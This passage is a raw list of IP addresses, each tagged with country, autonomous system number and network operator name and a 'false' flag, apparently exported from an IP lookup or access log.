 unknown Peru
6147 TelefonicadelPeruSAAPE false
75.240.157.97
 unknown United States
22394 CELLCOUS false
125.154.107.87
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
41.12.126.92
 unknown South Africa
29975 VODACOM-ZA false
41.152.54.27
 unknown Egypt
36992 ETISALAT-MISREG false
169.225.29.24
 unknown United States
37611 AfrihostZA false
23.68.121.155
 unknown United States
7922 COMCAST-7922US false
88.245.245.73
 unknown Turkey
9121 TTNETTR false
156.125.199.236
 unknown United States
393504 XNSTGCA false
131.90.84.208
 unknown United States
2013 PACIFIC-GASUS false
147.200.45.245
 unknown Australia
55542 RMSNET-AS-APRoadsandMaritimeServicesAU false
50.96.249.163
 unknown United States
7029 WINDSTREAMUS false
134.60.233.62
 unknown Germany
553 BELWUEBelWue-KoordinationEU false
194.163.249.204
 unknown Germany
6659 NEXINTO-DE false
180.118.238.202
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
97.130.166.242
 unknown United States
6167 CELLCO-PARTUS false
175.154.149.220
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
221.5.169.215
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
38.120.151.204
 unknown United States
174 COGENT-174US false
163.3.148.238
 unknown Sweden
2749 DNIC-AS-02749US false
17.244.182.98
 unknown United States
714 APPLE-ENGINEERINGUS false
156.100.223.33
 unknown United States
393504 XNSTGCA false
17.128.62.103
 unknown United States
714 APPLE-ENGINEERINGUS false
220.85.241.39
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
67.136.233.160
 unknown United States
7385 ALLSTREAMUS false
189.180.237.10
 unknown Mexico
8151 UninetSAdeCVMX false
216.206.154.252
 unknown United States
13781 ENERGYNETUS false
7.196.112.193
 unknown United States
3356 LEVEL3US false
31.58.63.253
 unknown Iran (ISLAMIC Republic Of)
31549 RASANAIR false
203.24.21.168
 unknown Australia
134217 ASIT-AS-APAustralianSupportPtyLtdAU false
43.231.191.207
 unknown Japan 9311 HITRON-AS-APHITRONTECHNOLOGYINCTW false
83.248.36.237
 unknown Sweden
39651 COMHEM-SWEDENSE false
180.108.200.174
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
26.123.233.205
 unknown United States
7922 COMCAST-7922US false
217.16.29.179
 unknown Russian Federation
25532 MASTERHOST-ASMoscowRussiaRU false
139.169.190.197
 unknown United States
270 AS270US false
61.4.179.120
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
22.120.92.122
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
32.187.22.75
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
220.149.123.225
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
136.246.184.94
 unknown United States
397412 TACHUS false
61.156.158.38
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
204.212.61.133
 unknown United States
1239 SPRINTLINKUS false
168.239.91.246
 unknown United States
26057 MEDIAOCEANUS false
143.123.133.128
 unknown United States
203 CENTURYLINK-LEGACY-LVLT-203US false
60.147.183.201
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
71.172.242.121
 unknown United States
701 UUNETUS false
129.252.44.196
 unknown United States
12005 SC-ASUS false
128.223.147.221
 unknown United States
3582 UONETUS false
102.68.31.175
 unknown South Africa
328441 Your-CommunicationsZA false
77.108.138.78
 unknown United Kingdom
42228 BRIGHTSTARBrightstarASobjectGB false
56.107.160.239
 unknown United States
2686 ATGS-MMD-ASUS false
23.139.170.150
 unknown Reserved
26073 COFRACTAL-001US false